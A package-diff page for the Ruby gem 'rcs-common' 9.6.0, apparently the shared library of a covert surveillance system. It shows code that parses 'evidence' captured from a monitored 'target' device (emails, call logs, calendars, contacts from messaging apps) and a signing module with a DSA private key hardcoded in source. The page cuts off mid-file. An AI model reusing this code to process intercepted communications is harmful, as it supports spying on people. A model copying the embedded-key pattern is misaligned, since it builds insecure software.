rcs-common 9.6.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- data/.gitignore +49 -0
- data/Gemfile +4 -0
- data/LICENSE.txt +1 -0
- data/Rakefile +27 -0
- data/lib/rcs-common.rb +21 -0
- data/lib/rcs-common/binary.rb +64 -0
- data/lib/rcs-common/cgi.rb +7 -0
- data/lib/rcs-common/component.rb +87 -0
- data/lib/rcs-common/crypt.rb +71 -0
- data/lib/rcs-common/deploy.rb +96 -0
- data/lib/rcs-common/diagnosticable.rb +136 -0
- data/lib/rcs-common/evidence.rb +261 -0
- data/lib/rcs-common/evidence/addressbook.rb +173 -0
- data/lib/rcs-common/evidence/application.rb +59 -0
- data/lib/rcs-common/evidence/calendar.rb +62 -0
- data/lib/rcs-common/evidence/call.rb +185 -0
- data/lib/rcs-common/evidence/camera.rb +25 -0
- data/lib/rcs-common/evidence/chat.rb +272 -0
- data/lib/rcs-common/evidence/clibpoard.rb +58 -0
- data/lib/rcs-common/evidence/command.rb +50 -0
- data/lib/rcs-common/evidence/common.rb +78 -0
- data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
- data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
- data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
- data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
- data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
- data/lib/rcs-common/evidence/device.rb +23 -0
- data/lib/rcs-common/evidence/download.rb +54 -0
- data/lib/rcs-common/evidence/exec.rb +0 -0
- data/lib/rcs-common/evidence/file.rb +129 -0
- data/lib/rcs-common/evidence/filesystem.rb +71 -0
- data/lib/rcs-common/evidence/info.rb +24 -0
- data/lib/rcs-common/evidence/keylog.rb +84 -0
- data/lib/rcs-common/evidence/mail.rb +237 -0
- data/lib/rcs-common/evidence/mic.rb +39 -0
- data/lib/rcs-common/evidence/mms.rb +36 -0
- data/lib/rcs-common/evidence/money.rb +676 -0
- data/lib/rcs-common/evidence/mouse.rb +62 -0
- data/lib/rcs-common/evidence/password.rb +60 -0
- data/lib/rcs-common/evidence/photo.rb +80 -0
- data/lib/rcs-common/evidence/position.rb +303 -0
- data/lib/rcs-common/evidence/print.rb +50 -0
- data/lib/rcs-common/evidence/screenshot.rb +53 -0
- data/lib/rcs-common/evidence/sms.rb +91 -0
- data/lib/rcs-common/evidence/url.rb +133 -0
- data/lib/rcs-common/fixnum.rb +48 -0
- data/lib/rcs-common/gridfs.rb +294 -0
- data/lib/rcs-common/heartbeat.rb +96 -0
- data/lib/rcs-common/keywords.rb +50 -0
- data/lib/rcs-common/mime.rb +65 -0
- data/lib/rcs-common/mongoid.rb +19 -0
- data/lib/rcs-common/pascalize.rb +62 -0
- data/lib/rcs-common/path_utils.rb +67 -0
- data/lib/rcs-common/resolver.rb +40 -0
- data/lib/rcs-common/rest.rb +17 -0
- data/lib/rcs-common/sanitize.rb +42 -0
- data/lib/rcs-common/serializer.rb +404 -0
- data/lib/rcs-common/signature.rb +141 -0
- data/lib/rcs-common/stats.rb +94 -0
- data/lib/rcs-common/symbolize.rb +10 -0
- data/lib/rcs-common/systemstatus.rb +136 -0
- data/lib/rcs-common/temporary.rb +13 -0
- data/lib/rcs-common/time.rb +24 -0
- data/lib/rcs-common/trace.rb +138 -0
- data/lib/rcs-common/trace.yaml +42 -0
- data/lib/rcs-common/updater/client.rb +354 -0
- data/lib/rcs-common/updater/dsl.rb +178 -0
- data/lib/rcs-common/updater/payload.rb +79 -0
- data/lib/rcs-common/updater/server.rb +126 -0
- data/lib/rcs-common/updater/shared_key.rb +55 -0
- data/lib/rcs-common/updater/tmp_dir.rb +13 -0
- data/lib/rcs-common/utf16le.rb +83 -0
- data/lib/rcs-common/version.rb +5 -0
- data/lib/rcs-common/winfirewall.rb +235 -0
- data/rcs-common.gemspec +64 -0
- data/spec/gridfs_spec.rb +637 -0
- data/spec/mongoid.yaml +6 -0
- data/spec/signature_spec.rb +105 -0
- data/spec/spec_helper.rb +22 -0
- data/spec/updater_spec.rb +80 -0
- data/tasks/deploy.rake +21 -0
- data/tasks/protect.rake +90 -0
- data/test/helper.rb +17 -0
- data/test/test_binary.rb +107 -0
- data/test/test_cgi.rb +14 -0
- data/test/test_crypt.rb +125 -0
- data/test/test_evidence.rb +52 -0
- data/test/test_evidence_manager.rb +119 -0
- data/test/test_fixnum.rb +35 -0
- data/test/test_keywords.rb +137 -0
- data/test/test_mime.rb +49 -0
- data/test/test_pascalize.rb +100 -0
- data/test/test_path_utils.rb +24 -0
- data/test/test_rcs-common.rb +7 -0
- data/test/test_sanitize.rb +40 -0
- data/test/test_serialization.rb +20 -0
- data/test/test_stats.rb +90 -0
- data/test/test_symbolize.rb +20 -0
- data/test/test_systemstatus.rb +35 -0
- data/test/test_time.rb +56 -0
- data/test/test_trace.rb +25 -0
- data/test/test_utf16le.rb +71 -0
- data/test/test_winfirewall.rb +68 -0
- metadata +423 -0
@@ -0,0 +1,404 @@
|
|
1
|
+
require 'stringio'
|
2
|
+
require_relative 'trace'
|
3
|
+
require_relative 'evidence/common'
|
4
|
+
|
5
|
+
require 'rcs-common/trace'
|
6
|
+
|
7
|
+
class StringIO
|
8
|
+
def read_dword
|
9
|
+
self.read(4).unpack('L').shift
|
10
|
+
end
|
11
|
+
end
|
12
|
+
|
13
|
+
module RCS
|
14
|
+
|
15
|
+
module Serialization
|
16
|
+
PREFIX_MASK = 0x00FFFFFF
|
17
|
+
|
18
|
+
def self.prefix(type, size)
|
19
|
+
[(type << 0x18) | size].pack('L')
|
20
|
+
end
|
21
|
+
|
22
|
+
def self.decode_prefix(str)
|
23
|
+
prefix = str.unpack('L').shift
|
24
|
+
return (prefix & ~PREFIX_MASK) >> 0x18, prefix & PREFIX_MASK
|
25
|
+
end
|
26
|
+
end
|
27
|
+
|
28
|
+
class MAPISerializer
|
29
|
+
include RCS::Tracer
|
30
|
+
|
31
|
+
attr_reader :fields, :size, :delivery_time, :flags
|
32
|
+
|
33
|
+
TYPES = {0x03 => {field: :from, action: :unserialize_string},
|
34
|
+
0x04 => {field: :rcpt, action: :unserialize_string},
|
35
|
+
0x05 => {field: :cc, action: :unserialize_string},
|
36
|
+
0x06 => {field: :bcc, action: :unserialize_string},
|
37
|
+
0x07 => {field: :subject, action: :unserialize_string},
|
38
|
+
0x80 => {field: :mime_body, action: :unserialize_blob},
|
39
|
+
0x84 => {field: :text_body, action: :unserialize_blob}
|
40
|
+
}
|
41
|
+
|
42
|
+
def initialize
|
43
|
+
@fields = {}
|
44
|
+
end
|
45
|
+
|
46
|
+
def unserialize(stream)
|
47
|
+
|
48
|
+
# HEADER
|
49
|
+
header_begin = stream.pos
|
50
|
+
|
51
|
+
tot_size = stream.read_dword
|
52
|
+
@version = stream.read_dword
|
53
|
+
@status = stream.read_dword
|
54
|
+
@flags = stream.read_dword
|
55
|
+
@size = stream.read_dword
|
56
|
+
low, high = stream.read(8).unpack 'V2'
|
57
|
+
@delivery_time = Time.from_filetime high, low
|
58
|
+
@n_attachments = stream.read_dword
|
59
|
+
|
60
|
+
# BODY
|
61
|
+
header_length = stream.pos - header_begin
|
62
|
+
content = stream.read(tot_size - header_length)
|
63
|
+
until content.empty?
|
64
|
+
prefix = content.slice!(0, 4)
|
65
|
+
type, size = Serialization.decode_prefix prefix
|
66
|
+
str = content.slice!(0, size)
|
67
|
+
selector = TYPES[type]
|
68
|
+
unless selector.nil?
|
69
|
+
@fields[selector[:field]] = self.send(selector[:action], str) if TYPES.has_key? type
|
70
|
+
end
|
71
|
+
end
|
72
|
+
|
73
|
+
self
|
74
|
+
end
|
75
|
+
|
76
|
+
def unserialize_string(str)
|
77
|
+
str.utf16le_to_utf8
|
78
|
+
end
|
79
|
+
|
80
|
+
def unserialize_blob(str)
|
81
|
+
str
|
82
|
+
end
|
83
|
+
end
|
84
|
+
|
85
|
+
class CallListSerializer
|
86
|
+
include RCS::Tracer
|
87
|
+
|
88
|
+
TYPES = {0x01 => :name, 0x02 => :type, 0x04 => :note, 0x08 => :number}
|
89
|
+
INCOMING = 0x00
|
90
|
+
OUTGOING = 0x01
|
91
|
+
|
92
|
+
attr_reader :start_time, :end_time, :fields, :properties
|
93
|
+
|
94
|
+
def initialize
|
95
|
+
@fields = {}
|
96
|
+
@start_time = nil
|
97
|
+
@end_time = nil
|
98
|
+
@properties = []
|
99
|
+
end
|
100
|
+
|
101
|
+
def unserialize(stream)
|
102
|
+
|
103
|
+
# HEADER
|
104
|
+
header_begin = stream.pos
|
105
|
+
|
106
|
+
tot_size = stream.read(4).unpack('L').shift
|
107
|
+
version = stream.read(4).unpack('L').shift
|
108
|
+
|
109
|
+
low, high = stream.read(8).unpack 'V2'
|
110
|
+
@start_time = Time.from_filetime high, low
|
111
|
+
low, high = stream.read(8).unpack 'V2'
|
112
|
+
@end_time = Time.from_filetime high, low
|
113
|
+
|
114
|
+
props = stream.read(4).unpack('L').shift
|
115
|
+
if props & OUTGOING == 1
|
116
|
+
@properties << :outgoing
|
117
|
+
else
|
118
|
+
@properties << :incoming
|
119
|
+
end
|
120
|
+
|
121
|
+
# BODY
|
122
|
+
header_length = stream.pos - header_begin
|
123
|
+
content = stream.read(tot_size - header_length)
|
124
|
+
|
125
|
+
until content.empty?
|
126
|
+
prefix = content.slice!(0, 4)
|
127
|
+
type, size = Serialization.decode_prefix prefix
|
128
|
+
@fields[TYPES[type]] = content.slice!(0, size).utf16le_to_utf8
|
129
|
+
end
|
130
|
+
|
131
|
+
self
|
132
|
+
end
|
133
|
+
end
|
134
|
+
|
135
|
+
class CalendarSerializer
|
136
|
+
include RCS::Tracer
|
137
|
+
|
138
|
+
POOM_V1_0_PROTO = 0x01000000
|
139
|
+
FLAG_RECUR = 0x00000008
|
140
|
+
|
141
|
+
attr_reader :start_date, :end_date, :fields
|
142
|
+
|
143
|
+
CALENDAR_TYPES = { 0x01 => :subject,
|
144
|
+
0x02 => :categories,
|
145
|
+
0x04 => :body,
|
146
|
+
0x08 => :recipients,
|
147
|
+
0x10 => :location}
|
148
|
+
|
149
|
+
def initialize
|
150
|
+
@fields = {}
|
151
|
+
@start_date = nil
|
152
|
+
@end_date = nil
|
153
|
+
end
|
154
|
+
|
155
|
+
def unserialize(stream)
|
156
|
+
header_begin = stream.pos
|
157
|
+
|
158
|
+
tot_size = stream.read(4).unpack('L').shift
|
159
|
+
version = stream.read(4).unpack('L').shift
|
160
|
+
oid = stream.read(4).unpack('L').shift
|
161
|
+
|
162
|
+
raise EvidenceDeserializeError.new("Invalid version") unless version == POOM_V1_0_PROTO
|
163
|
+
|
164
|
+
# BODY
|
165
|
+
header_length = stream.pos - header_begin
|
166
|
+
content = stream.read(tot_size - header_length)
|
167
|
+
until content.empty?
|
168
|
+
@flags = content.slice!(0, 4).unpack('L').shift
|
169
|
+
|
170
|
+
ft_low = content.slice!(0, 4).unpack('L').shift
|
171
|
+
ft_high = content.slice!(0, 4).unpack('L').shift
|
172
|
+
@start_date = Time.from_filetime(ft_high, ft_low)
|
173
|
+
|
174
|
+
ft_low = content.slice!(0, 4).unpack('L').shift
|
175
|
+
ft_high = content.slice!(0, 4).unpack('L').shift
|
176
|
+
@end_date = Time.from_filetime(ft_high, ft_low)
|
177
|
+
|
178
|
+
@sensitivity = content.slice!(0, 4).unpack('L').shift
|
179
|
+
@busy = content.slice!(0, 4).unpack('L').shift
|
180
|
+
@duration = content.slice!(0, 4).unpack('L').shift
|
181
|
+
@status = content.slice!(0, 4).unpack('L').shift
|
182
|
+
|
183
|
+
if @flags == FLAG_RECUR
|
184
|
+
return self if content.bytesize < 28 + 16 # struct _TaskRecur
|
185
|
+
|
186
|
+
type, interval, month_of_year, day_of_month, day_of_week_mask, instance, occurrences = *content.slice!(0, 28).unpack("L*")
|
187
|
+
ft_low = content.slice!(0, 4).unpack('L').shift
|
188
|
+
ft_high = content.slice!(0, 4).unpack('L').shift
|
189
|
+
@pattern_start_date = Time.from_filetime(ft_high, ft_low)
|
190
|
+
|
191
|
+
ft_low = content.slice!(0, 4).unpack('L').shift
|
192
|
+
ft_high = content.slice!(0, 4).unpack('L').shift
|
193
|
+
@pattern_end_date = Time.from_filetime(ft_high, ft_low)
|
194
|
+
end
|
195
|
+
|
196
|
+
until content.empty? do
|
197
|
+
prefix = content.slice!(0, 4)
|
198
|
+
type, size = Serialization.decode_prefix prefix
|
199
|
+
@fields[CALENDAR_TYPES[type]] = content.slice!(0, size).utf16le_to_utf8 if CALENDAR_TYPES.has_key? type
|
200
|
+
end
|
201
|
+
end
|
202
|
+
|
203
|
+
self
|
204
|
+
end
|
205
|
+
|
206
|
+
end #CalendarSerializer
|
207
|
+
|
208
|
+
class AddressBookSerializer
|
209
|
+
include RCS::Tracer
|
210
|
+
|
211
|
+
attr_reader :name, :contact, :info, :type, :program, :handles
|
212
|
+
|
213
|
+
POOM_V1_0_PROTO = 0x01000000
|
214
|
+
POOM_V2_0_PROTO = 0x01000001
|
215
|
+
|
216
|
+
LOCAL_CONTACT = 0x80000000
|
217
|
+
|
218
|
+
ADDRESSBOOK_TYPES = { 0x1 => :first_name,
|
219
|
+
0x2 => :last_name,
|
220
|
+
0x3 => :company,
|
221
|
+
0x4 => :business_fax_number,
|
222
|
+
0x5 => :department,
|
223
|
+
0x6 => :email_1,
|
224
|
+
0x7 => :mobile_phone_number,
|
225
|
+
0x8 => :office_location,
|
226
|
+
0x9 => :pager_number,
|
227
|
+
0xA => :business_phone_number,
|
228
|
+
0xB => :job_title,
|
229
|
+
0xC => :home_phone_number,
|
230
|
+
0xD => :email_2,
|
231
|
+
0xE => :spouse,
|
232
|
+
0xF => :email_3,
|
233
|
+
0x10 => :home_2_phone_number,
|
234
|
+
0x11 => :home_fax_number,
|
235
|
+
0x12 => :car_phone_number,
|
236
|
+
0x13 => :assistant_name,
|
237
|
+
0x14 => :assistant_phone_number,
|
238
|
+
0x15 => :children,
|
239
|
+
0x16 => :categories,
|
240
|
+
0x17 => :web_page,
|
241
|
+
0x18 => :business_2_phone_number,
|
242
|
+
0x19 => :radio_phone_number,
|
243
|
+
0x1A => :file_as,
|
244
|
+
0x1B => :yomi_company_name,
|
245
|
+
0x1C => :yomi_first_name,
|
246
|
+
0x1D => :yomi_last_name,
|
247
|
+
0x1E => :title,
|
248
|
+
0x1F => :middle_name,
|
249
|
+
0x20 => :suffix,
|
250
|
+
0x21 => :home_address_street,
|
251
|
+
0x22 => :home_address_city,
|
252
|
+
0x23 => :home_address_state,
|
253
|
+
0x24 => :home_address_postal_code,
|
254
|
+
0x25 => :home_address_country,
|
255
|
+
0x26 => :other_address_street,
|
256
|
+
0x27 => :other_address_city,
|
257
|
+
0x28 => :other_address_postal_code,
|
258
|
+
0x29 => :other_address_country,
|
259
|
+
0x2A => :business_address_street,
|
260
|
+
0x2B => :business_address_city,
|
261
|
+
0x2C => :business_address_state,
|
262
|
+
0x2D => :business_address_postal_code,
|
263
|
+
0x2E => :business_address_country,
|
264
|
+
0x2F => :other_address_state,
|
265
|
+
0x30 => :body,
|
266
|
+
0x31 => :birthday,
|
267
|
+
0x32 => :anniversary,
|
268
|
+
0x33 => :screen_name,
|
269
|
+
0x34 => :phone_numbers,
|
270
|
+
0x35 => :address,
|
271
|
+
0x36 => :notes,
|
272
|
+
0x37 => :unknown,
|
273
|
+
0x38 => :facebook_page,
|
274
|
+
0x40 => :handle}
|
275
|
+
|
276
|
+
ADDRESSBOOK_PROGRAM = {
|
277
|
+
0x01 => :outlook,
|
278
|
+
0x02 => :skype,
|
279
|
+
0x03 => :facebook,
|
280
|
+
0x04 => :twitter,
|
281
|
+
0x05 => :gmail,
|
282
|
+
0x06 => :bbm,
|
283
|
+
0x07 => :whatsapp,
|
284
|
+
0x08 => :phone,
|
285
|
+
0x09 => :mail,
|
286
|
+
0x0a => :linkedin,
|
287
|
+
0x0b => :viber,
|
288
|
+
0x0c => :wechat,
|
289
|
+
0x0d => :line,
|
290
|
+
0x0e => :telegram,
|
291
|
+
0x0f => :yahoo,
|
292
|
+
0x10 => :messages,
|
293
|
+
0x11 => :contacts
|
294
|
+
}
|
295
|
+
|
296
|
+
TYPE_FLAGS = {
|
297
|
+
twitter: {0x00 => :friend, 0x01 => :follower}
|
298
|
+
}
|
299
|
+
|
300
|
+
def initialize
|
301
|
+
@fields = {}
|
302
|
+
@handles = []
|
303
|
+
@poom_strings = {}
|
304
|
+
ADDRESSBOOK_TYPES.each_pair do |k, v|
|
305
|
+
@poom_strings[v] = v.to_s.gsub(/_/, " ").capitalize.encode('UTF-8')
|
306
|
+
end
|
307
|
+
@poom_strings[:unknown] = nil # when unknown, field name is given by agent
|
308
|
+
end
|
309
|
+
|
310
|
+
def serialize(fields)
|
311
|
+
stream = StringIO.new
|
312
|
+
fields.each_pair do |type, str|
|
313
|
+
utf16le_str = str.to_utf16le_binary_null
|
314
|
+
stream.write Serialization.prefix(ADDRESSBOOK_TYPES.invert[type], utf16le_str.bytesize)
|
315
|
+
stream.write utf16le_str
|
316
|
+
end
|
317
|
+
header = [stream.pos + 20, POOM_V2_0_PROTO, 0].pack('L*')
|
318
|
+
header += [ADDRESSBOOK_PROGRAM.invert[:contacts], [0, LOCAL_CONTACT].sample].pack('L*')
|
319
|
+
|
320
|
+
return header + stream.string
|
321
|
+
end
|
322
|
+
|
323
|
+
def unserialize(stream)
|
324
|
+
|
325
|
+
header_begin = stream.pos
|
326
|
+
|
327
|
+
# discard header
|
328
|
+
tot_size = stream.read(4).unpack("L").shift
|
329
|
+
version = stream.read(4).unpack("L").shift
|
330
|
+
oid = stream.read(4).unpack("L").shift
|
331
|
+
|
332
|
+
if version != POOM_V1_0_PROTO and version != POOM_V2_0_PROTO
|
333
|
+
raise EvidenceDeserializeError.new("Invalid addressbook version (#{version})")
|
334
|
+
end
|
335
|
+
|
336
|
+
case version
|
337
|
+
when POOM_V1_0_PROTO
|
338
|
+
program = 0
|
339
|
+
flags = 0
|
340
|
+
when POOM_V2_0_PROTO
|
341
|
+
program = stream.read(4).unpack("L").shift
|
342
|
+
flags = stream.read(4).unpack("L").shift
|
343
|
+
end
|
344
|
+
|
345
|
+
# initialize the values to array
|
346
|
+
@fields = Hash.new {|h,k| h[k] = []}
|
347
|
+
|
348
|
+
# BODY
|
349
|
+
header_length = stream.pos - header_begin
|
350
|
+
content = stream.read(tot_size - header_length)
|
351
|
+
until content.empty?
|
352
|
+
type, size = Serialization.decode_prefix content.slice!(0, 4)
|
353
|
+
str = content.slice!(0, size).utf16le_to_utf8
|
354
|
+
#trace :debug, "ADDRESSBOOK FIELD #{ADDRESSBOOK_TYPES[type]} = #{str}"
|
355
|
+
@fields[ADDRESSBOOK_TYPES[type]] << str if ADDRESSBOOK_TYPES.has_key? type
|
356
|
+
end
|
357
|
+
|
358
|
+
# name
|
359
|
+
@name = ""
|
360
|
+
@name = @fields[:first_name].first if @fields.has_key? :first_name
|
361
|
+
@name += " " + @fields[:last_name].first if @fields.has_key? :last_name
|
362
|
+
|
363
|
+
@program = ADDRESSBOOK_PROGRAM[program]
|
364
|
+
@program ||= :unknown
|
365
|
+
|
366
|
+
@type = TYPE_FLAGS[@program][flags] if TYPE_FLAGS.has_key? @program
|
367
|
+
@type ||= :peer
|
368
|
+
@type = :target if (flags & LOCAL_CONTACT != 0)
|
369
|
+
|
370
|
+
# choose the most significant contact field (the handle)
|
371
|
+
@contact = ""
|
372
|
+
if @fields.has_key? :handle
|
373
|
+
@contact = @fields[:handle].first
|
374
|
+
@handles << {type: @program, handle: @fields[:handle].first}
|
375
|
+
end
|
376
|
+
|
377
|
+
#trace :debug, "FIELDS: #{@fields.inspect}"
|
378
|
+
|
379
|
+
# info
|
380
|
+
@info = ""
|
381
|
+
omitted_fields = [:first_name, :last_name, :body, :file_as]
|
382
|
+
@fields.each_pair do |k, v|
|
383
|
+
next if omitted_fields.include? k
|
384
|
+
v.each do |entry|
|
385
|
+
str = @poom_strings[k]
|
386
|
+
add_to_handles(str, entry) if str and entry
|
387
|
+
@info += str.nil? ? "" : "#{str}: "
|
388
|
+
@info += entry
|
389
|
+
@info += "\n"
|
390
|
+
end
|
391
|
+
end
|
392
|
+
|
393
|
+
self
|
394
|
+
end
|
395
|
+
|
396
|
+
def add_to_handles(key, value)
|
397
|
+
# only take the phones and mails
|
398
|
+
return if key['phone'].nil? and key['mail'].nil?
|
399
|
+
@handles << {type: 'phone', handle: value} if key['phone']
|
400
|
+
@handles << {type: 'mail', handle: value} if key['mail']
|
401
|
+
end
|
402
|
+
|
403
|
+
end # ::PoomSerializer
|
404
|
+
end # ::RCS
|
@@ -0,0 +1,141 @@
|
|
1
|
+
require 'base64'
|
2
|
+
require 'openssl'
|
3
|
+
require 'json'
|
4
|
+
|
5
|
+
module RCS
|
6
|
+
module Mongoid
|
7
|
+
module Signature
|
8
|
+
extend ActiveSupport::Concern
|
9
|
+
|
10
|
+
DSA_PRIV_KEY = <<END
|
11
|
+
-----BEGIN DSA PRIVATE KEY-----
|
12
|
+
MIIDVgIBAAKCAQEAs/Le9TeFwd6Wp0ZaSwthvKcYmMkewqyx3L+xl7S4EkQOI4ky
|
13
|
+
9n4Yp4LJ2EnIdo6iwj5fLcxTXRPem1uWaPNXT0ILKWr6Eu9yetgKaiK6i+Iy8Rtb
|
14
|
+
XA2e/CEh+Hl4zL5UnNLQcxtZ7pYML6Lq7h27OTyXFU4tZsxSH1oSdr0KJE7kHmij
|
15
|
+
gLaub5yjjBQF8pcADpWHih06NQ6zj7rKEXH2RLgiE3dZbN29VqP3/edx1XASuoAd
|
16
|
+
6DKzfYH8H9Pp6mMI9s2+kzvLdnubuDdq+rA3aSZC+iHczBUCjbdshLzsyac4et5b
|
17
|
+
wjRIKZmA674InCKq2MVZjJPoE1jmoPpINigo2QIhAIn55YqthSk3B044NJSL7pfg
|
18
|
+
UwrWAT00RAuKoB849MSRAoIBAGcdWSnhTjRbWV23niaLnDGH+s/v9UGcokGQiTU9
|
19
|
+
4Yy+6fVaFoNqs6s4wfcGaQDQIUDZ67dMU2ARkImLjxAN/DOnopXtwdZQXd9vXoMp
|
20
|
+
Qi89lfJ8/elwW4nAY9cWnyl67shv17vyjJZATMvH8/YvyphDJDUh191z3MGu/6O+
|
21
|
+
yRuZcJ0aqyvcbGpj0zox9oFLnNltroeB7zExeJ5GFcVrZQ5Tza07LcRBjAbo0Icw
|
22
|
+
F6bNVRadrLRywwxE+zym73Vz4x48euoKo95AsevOFQ+osIlDEL1BkPKa9jiEFTHq
|
23
|
+
XBleabczfnBYTOIwNWKuUXeboBpjNX5ZPzOu+UvnRr9JLDMCggEBAJhmfz1PDIA5
|
24
|
+
TvfUyUT9NkLUpQk5EOvQ4fAQx7ktETA683lEZR+sdL66aEheqEwMRor1DofM/gYO
|
25
|
+
WAE+tzusnPZ/yrP6mrLXeWrWbjM0gdcbW2NVR7Vh6s3fziX6UIxpmBeWitqYE4PH
|
26
|
+
ue9p6meRhHxR5HB2ws9EldxCN/sgqOvVIAhfbla0WMd1kEkSi9Zoitl43LtP2GhJ
|
27
|
+
pb+O4eBoOfdC4c3eYlHgXYAEo5CYytDF+Rv51Mu9BsqPfcPsAGgaAQLugqLYYHRw
|
28
|
+
LKzCzBPvkAF1C+zW+Qk+FrZbwhBqiJBSXH7IxM+6OrQxLR+lJuLBSkSap30TFBc7
|
29
|
+
g3zksvKZdi0CIEPlMqeN/iQIXzjDP9L8ofSkoo/x7ixyaHHk6CjmoWMm
|
30
|
+
-----END DSA PRIVATE KEY-----
|
31
|
+
END
|
32
|
+
|
33
|
+
DSA_PUB_KEY = <<END
|
34
|
+
-----BEGIN PUBLIC KEY-----
|
35
|
+
MIIDRzCCAjkGByqGSM44BAEwggIsAoIBAQCz8t71N4XB3panRlpLC2G8pxiYyR7C
|
36
|
+
rLHcv7GXtLgSRA4jiTL2fhingsnYSch2jqLCPl8tzFNdE96bW5Zo81dPQgspavoS
|
37
|
+
73J62ApqIrqL4jLxG1tcDZ78ISH4eXjMvlSc0tBzG1nulgwvouruHbs5PJcVTi1m
|
38
|
+
zFIfWhJ2vQokTuQeaKOAtq5vnKOMFAXylwAOlYeKHTo1DrOPusoRcfZEuCITd1ls
|
39
|
+
3b1Wo/f953HVcBK6gB3oMrN9gfwf0+nqYwj2zb6TO8t2e5u4N2r6sDdpJkL6IdzM
|
40
|
+
FQKNt2yEvOzJpzh63lvCNEgpmYDrvgicIqrYxVmMk+gTWOag+kg2KCjZAiEAifnl
|
41
|
+
iq2FKTcHTjg0lIvul+BTCtYBPTREC4qgHzj0xJECggEAZx1ZKeFONFtZXbeeJouc
|
42
|
+
MYf6z+/1QZyiQZCJNT3hjL7p9VoWg2qzqzjB9wZpANAhQNnrt0xTYBGQiYuPEA38
|
43
|
+
M6eile3B1lBd329egylCLz2V8nz96XBbicBj1xafKXruyG/Xu/KMlkBMy8fz9i/K
|
44
|
+
mEMkNSHX3XPcwa7/o77JG5lwnRqrK9xsamPTOjH2gUuc2W2uh4HvMTF4nkYVxWtl
|
45
|
+
DlPNrTstxEGMBujQhzAXps1VFp2stHLDDET7PKbvdXPjHjx66gqj3kCx684VD6iw
|
46
|
+
iUMQvUGQ8pr2OIQVMepcGV5ptzN+cFhM4jA1Yq5Rd5ugGmM1flk/M675S+dGv0ks
|
47
|
+
MwOCAQYAAoIBAQCYZn89TwyAOU731MlE/TZC1KUJORDr0OHwEMe5LREwOvN5RGUf
|
48
|
+
rHS+umhIXqhMDEaK9Q6HzP4GDlgBPrc7rJz2f8qz+pqy13lq1m4zNIHXG1tjVUe1
|
49
|
+
YerN384l+lCMaZgXloramBODx7nvaepnkYR8UeRwdsLPRJXcQjf7IKjr1SAIX25W
|
50
|
+
tFjHdZBJEovWaIrZeNy7T9hoSaW/juHgaDn3QuHN3mJR4F2ABKOQmMrQxfkb+dTL
|
51
|
+
vQbKj33D7ABoGgEC7oKi2GB0cCyswswT75ABdQvs1vkJPha2W8IQaoiQUlx+yMTP
|
52
|
+
ujq0MS0fpSbiwUpEmqd9ExQXO4N85LLymXYt
|
53
|
+
-----END PUBLIC KEY-----
|
54
|
+
END
|
55
|
+
|
56
|
+
included do
|
57
|
+
cattr_accessor :signature_fields
|
58
|
+
self.signature_fields = []
|
59
|
+
|
60
|
+
cattr_accessor :signature_chained
|
61
|
+
self.signature_chained = false
|
62
|
+
|
63
|
+
cattr_accessor :dsa_priv, :dsa_pub
|
64
|
+
self.dsa_priv = OpenSSL::PKey::DSA.new(DSA_PRIV_KEY)
|
65
|
+
self.dsa_pub = OpenSSL::PKey::DSA.new(DSA_PUB_KEY)
|
66
|
+
|
67
|
+
field :signature, type: Hash, default: {}
|
68
|
+
|
69
|
+
set_callback :create, :before, :set_signature
|
70
|
+
set_callback :update, :before, :set_signature
|
71
|
+
end
|
72
|
+
|
73
|
+
def set_signature
|
74
|
+
now = Time.now.getutc.to_f
|
75
|
+
|
76
|
+
# save the version and the fields used to calculate the signature
|
77
|
+
# this could help in the future if the signature_fields are changed
|
78
|
+
hash = {version: 1,
|
79
|
+
fields: signature_fields,
|
80
|
+
timestamp: now}
|
81
|
+
|
82
|
+
#puts "SET: #{signature_fields} => #{concat_values(hash, signature_fields)}"
|
83
|
+
|
84
|
+
# calculate the digest
|
85
|
+
digest = OpenSSL::Digest::SHA256.digest(concat_values(hash, signature_fields))
|
86
|
+
# sign the digest
|
87
|
+
sig = dsa_priv.syssign(digest)
|
88
|
+
|
89
|
+
# put the dsa signature in the hash and save it
|
90
|
+
hash[:signature] = Base64.strict_encode64(sig)
|
91
|
+
self.signature[:integrity] = Base64.strict_encode64(hash.to_json)
|
92
|
+
end
|
93
|
+
|
94
|
+
def check_signature
|
95
|
+
# load the serialized signature
|
96
|
+
hash = JSON.parse(Base64.decode64(self.signature[:integrity])).with_indifferent_access
|
97
|
+
|
98
|
+
# extract and remove the dsa signature from the hash
|
99
|
+
sig = Base64.decode64(hash.delete(:signature))
|
100
|
+
|
101
|
+
#puts "CHECK: #{signature_fields} => #{concat_values(hash, hash[:fields])}"
|
102
|
+
|
103
|
+
# calculate the digest
|
104
|
+
digest = OpenSSL::Digest::SHA256.digest(concat_values(hash, hash[:fields]))
|
105
|
+
# verify the integrity
|
106
|
+
dsa_pub.sysverify(digest, sig)
|
107
|
+
rescue Exception => e
|
108
|
+
#puts e.message
|
109
|
+
#puts e.backtrace.join("\n")
|
110
|
+
false
|
111
|
+
end
|
112
|
+
|
113
|
+
def signature_fields
|
114
|
+
self.class.signature_fields
|
115
|
+
end
|
116
|
+
|
117
|
+
private
|
118
|
+
|
119
|
+
def concat_values(hash, keys)
|
120
|
+
# always include the id of the document to prevent cloning of document
|
121
|
+
# also include the hash itself (with timestamp) to prevent replay attack
|
122
|
+
text = self[:_id].to_s + '|' + hash.to_json + '|'
|
123
|
+
|
124
|
+
# concatenate all the other fields
|
125
|
+
keys.each do |key|
|
126
|
+
# use json serialization here, since it works for strings, integers, complex arrays or hashes...
|
127
|
+
